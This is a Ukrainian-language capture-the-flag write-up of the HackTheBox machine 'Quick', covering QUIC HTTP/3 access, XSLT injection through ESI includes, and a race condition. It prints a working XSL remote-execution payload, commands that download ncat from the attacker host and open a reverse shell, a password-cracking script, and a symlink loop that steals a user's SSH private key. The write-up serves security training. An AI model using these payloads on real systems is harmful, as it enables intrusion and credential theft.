26. HackTheBox. Level Hard: Проходження Quick. QUIC HTTP/3, XSLT ін’єкція, Race condition

17 січня 2025 3 хвилин Автор: Lady Liberty

Стаття описує процес проходження машини «Quick» на платформі HackTheBox, демонструючи методи підключення через протокол QUIC HTTP/3, експлуатацію XSLT-ін’єкції та використання race condition для отримання приватного ключа користувача. Детально розглядаются етапи сканування портів, виявлення відкритих служб, встановлення з’єднання за допомогою бібліотеки quiche від Cloudflare, а також способи отримання доступу через уразливості в обробці XML.

Проходження Quick

Продовжується публікація рішень для доробки машин із майданчика HackTheBox.

У статті розглядаються методи підключення за протоколом QUIC HTTP/3, отримання RCE через XSLT-ін’єкцію та використання техніки Race Condition для доступу до приватного ключа користувача.

Підключення до лабораторії виконується через VPN. Для безпеки не рекомендується використовувати робочий комп’ютер або пристрій із важливими даними, адже з’єднання встановлюється з приватною мережею, де працюють люди з досвідом у сфері інформаційної безпеки.

Recon

Ця машина має IP адресу 10.10.10.186, яку додаємо в /etc/hosts.

10.10.10.186 	quick.htb
Спершу проводиться сканування відкритих портів. Щоб пришвидшити процес, замість використання nmap для сканування всіх портів, обирається masscan. За його допомогою перевіряються всі TCP та UDP порти через інтерфейс tun0 із налаштуванням швидкості 500 пакетів на секунду.
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.186       --rate=500

Тепер для отримання більш детальної інформації про послуги, що працюють на портах, запустимо сканування з опцією -А.

nmap -A quick.htb -p9001,22

Так ми маємо дві служби – SSH та веб-сервер Apache. Подивимося, що нам запропонує Інтернет.


Є посилання на портал, що працює протокол HTTPS, але цей порт закритий. Додамо цей DNS /etc/hosts.

10.10.10.186 portal.quick.htb

Але порт 443 закритий! Ще на сайті знаходимо цікавий список.

Директорії скануються за допомогою gobuster. У параметрах задається кількість потоків 128 (-t), URL (-u), словник (-w), цікаві розширення (-x) та потрібні коди відповіді сервера (-s).

gobuster dir -t 128 -u http://quick.htb:9001/  -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,html --timeout 60s -s 200,204,301,302,307,401

І знаходимо цікаві сторінки, але всі вимагають авторизації. Трохи покрутившись навколо цього сайту, постало питання. Навіщо потрібне посилання порталу, якщо порт відповідний порт сервера закрито. Тоді знову ретельніше проскануємо даний порт.

nmap -p443 -A quick.htb

sudo nmap -p443 -A -sU quick.htb

І цей порт відкритий для UDP!

Entry point

Знаходимо статтю, в якій описана технологія QUIC (схоже на назву машини).

Далі, читаючи про цей протокол, дізнаємося, що в Chrome було додано можливість роботи з цим протоколом. Але вказаним способом підключитися не виходить. Тоді згадуємо, що підключення фільтрується, нижче буде приклад установки.

Давайте зробимо установку як описано вище:

sudo apt install rustc cargo
git clone --recursive https://github.com/cloudflare/quiche
cd quiche
cargo build --examples

Все успішно зібрано, тепер виконаємо запит на наш сайт та отримаємо відповідь!

RUST_LOG=info target/debug/examples/http3-client https:/quick.htb/

Для зручності результати можна зберігати у HTML-файл і відкривати його у браузері, проте це необов’язково. Якщо у висновку з’являється посилання на сторінку з документами, слід звернутися до неї.

RUST_LOG=info target/debug/examples/http3-client https:/quick.htb/index.php?view=docs

І бачимо два документи. Скачаємо їх.

RUST_LOG=info target/debug/examples/http3-client https:/quick.htb/docs/QuickStart.pdf > QuickStart.pdf
RUST_LOG=info target/debug/examples/http3-client https:/quick.htb/docs/Connectivity.pdf > Connectivity.pdf

І в Connectivity.pdf сказано, з яким паролем ми можемо зайти, ось тільки як ім’я користувача потрібно використовувати якийсь email.

Давайте назбираємо інформації… Список клієнтів вже був представлений раніше, але ми можемо знайти ще співробітників.

Давайте створимо список email’ів. Так Tim відноситься до QConsulting із Великобританії, тоді його email буде швидше за все [email protected]. Складемо такий для всіх імен. І спробувавши під ними авторизуватися, успішно заходимо, як [email protected].

USER

Оглянувши ситуацію, було помічено, що плагін wappalyzer не працює. Для перегляду використовуваних технологій застосовується утиліта whatweb.

whatweb http://quick.htb:9001/home.php

Бачимо заголовок X-Powered-By: Esigate . Шукаємо експлоїти.

Таким чином, XSLT ін’єкція може призвести до RCE. З gobuster ми дізналися, що є ще сторінки search.php та ticket.php. Якщо звернутися до search. То нам скажуть, що немає рядка для пошуку.

Тоді передамо параметр search.

І при пошуку “2” є результат.

А ось на сторінці ticket.php можна створити квиток.

І ми отримати відповідний запис, який можна знайти. Експлуатація вразливості добре показана тут . Відповідно до статті, для отримання RCE необхідно надіслати посилання на XSL файл, який матиме наступний зміст:

<?xml version="1.0" ?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="xml" omit-xml-declaration="yes"/>
<xsl:template match="/"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime">
<root>
<xsl:variable name="cmd"><![CDATA[!!!RCE!!!]]></xsl:variable>
<xsl:variable name="rtObj" select="rt:getRuntime()"/>
<xsl:variable name="process" select="rt:exec($rtObj, $cmd)"/>
Process: <xsl:value-of select="$process"/>
Command: <xsl:value-of select="$cmd"/>
</root>
</xsl:template>
</xsl:stylesheet>

Де CDATA[] буде містити команду, що виконується В якості повідомлення ми повинні відправити include даних файлів.

<esi:include+src="FILE.xml"+stylesheet="FILE.xsl"></esi:include>

Тоді запустимо на локальній машині листонер.

nc -lvp 4321

І тепер створюватимемо тикети і звертатимемося до них. Оскільки символи “>” та “<” будуть екрановані, зробимо три запити. Ми будемо завантажувати ncat, давати йому право на виконання і здійснювати бекконект. Нижче наведено значення CDATA[] для трьох файлів:

1.xsl: wget http://10.10.14.191/ncat
2.xsl: chmod +x ncat
3.xsl: ./ncat 10.10.14.191 4321 -e /bin/sh

І виконаємо 6 запитів (перше – зміст повідомлення, друге – запит до квитка).

<esi:include+src="http://10.10.14.191/1.xml"+stylesheet="http://10.10.14.191/1.xsl"></esi:include>

<esi:include+src="http://10.10.14.191/2.xml"+stylesheet="http://10.10.14.191/2.xsl"></esi:include>

<esi:include+src="http://10.10.14.191/3.xml"+stylesheet="http://10.10.14.191/3.xsl"></esi:include>

І ми бачимо підключення.

USER 2

Для зручності створимо та запишемо SSH ключ.

Тепер доступ можливий за допомогою приватного ключа. Варто згадати про знайдений на сайті файл db.php, який, ймовірно, містить облікові дані для підключення до бази даних. Потрібно переглянути його вміст.

Підключимося з отриманими обліковими даними.

mysql -h localhost -u db_adm -p

Давайте переглянемо наявні бази даних.

Вибираємо базу даних quick.

Переглянемо таблиці у цій базі.

І, зрештою, отримаємо дані з таблиці users.

Отримуємо хеші, але перебрати md5 не виходить. Давайте подивимося код, де відбувається порівняння хешів.

Таким чином, пароль спочатку потрапляє у функцію crypt. Давайте напишемо свій код, який перебере паролі.

<?php 
$hash = 'c6c35ae1f3cb19438e0199cfa72a9d9d'; //'e626d51f8fbfd1124fdea88396c35d05';
$wordlist = fopen("./tools/rockyou.txt","r");
while(! feof($wordlist))  {
    $str = fgets($wordlist);
    $str = trim($str);
    echo "Find password: " . $str ."                        \r";
    $tmp_hash = md5(crypt($str,'fa'));
    if($hash == $tmp_hash){
        echo "Password Found: ". $str."\n";
        fclose($wordlist);
        exit(0);
    }
}
fclose($wordlist);
?>

Із файлу отримується пароль. Локальна зміна пароля не дає результату, і для SSH він також не підходить. Тому аналізується решта вихідного коду. У файлі add_printer.php виявлено, що приймаються кілька параметрів, зокрема IP-адреса та порт, після чого виконується підключення для перевірки з’єднання.

Куди цікавіший файл job.php.

Авторизуватися на сервері не вдається, оскільки він недоступний. Переглядаються налаштування веб-сервера. Виявлено, що при створенні принтера відбувається генерація файлу, який потім передається на зазначені хост і порт. Однак, завдяки затримці sleep(0.5) і тому, що створений файл має дозволи 777, є можливість змінити його до відправлення, оскільки повні права доступу надано для цієї директорії.

Таким чином можна написати скрипт, який буде лінкувати цей файл з приватним ключем користувача!

cd /var/www/jobs;
while true;
do
        for file in $(ls .);
        do
                rm -rf $file;
                ln -s /home/srvadm/.ssh/id_rsa $file;
        done
done

Давайте подивимося налаштування веб-сервера.

Таким чином, цей сайт працює від імені srvadm і доступний лише через localhost. Давайте прокинемо порт і додамо відповідний запис /etc/hosts.

127.0.0.1 printerv2.quick.htb
sudo ssh -i sam -L 80:127.0.0.1:80 [email protected]

Тепер зайдемо на сайт.

І перейдемо до додавання принтера.

Після того, як принтер додано, потрібно його активувати.

Тепер запустимо наш скрипт та вибираємо print.

І побачимо підключення до листенеру і SSH ключ користувача.

ROOT

І в домашній директорії знаходимо директорію .cache.

І знаходимо конфігураційний файл до принтера.

І в конфізі знаходимо рядок підключення до принтера:

https://username:password@ip/printer

Звідки отримуємо пароль, який ми можемо використовувати для підключення SSH.

Висновок

Проходження машини Quick демонструє важливість аналізу сучасних протоколів, таких як QUIC HTTP/3, і вміння знаходити та експлуатувати уразливості системи. Покроковий підхід до сканування портів, аналізу веб-додатків, XSLT-ін’єкцій та технік, таких як Race Condition, надає неоціненний досвід для фахівців із кібербезпеки. Ця стаття слугує чудовим прикладом того, як використовувати інструменти та знання для досягнення результату в пентестингу та навчанні інформаційній безпеці.

Інші статті по темі
Знайшли помилку?
Якщо ви знайшли помилку, зробіть скріншот і надішліть його боту.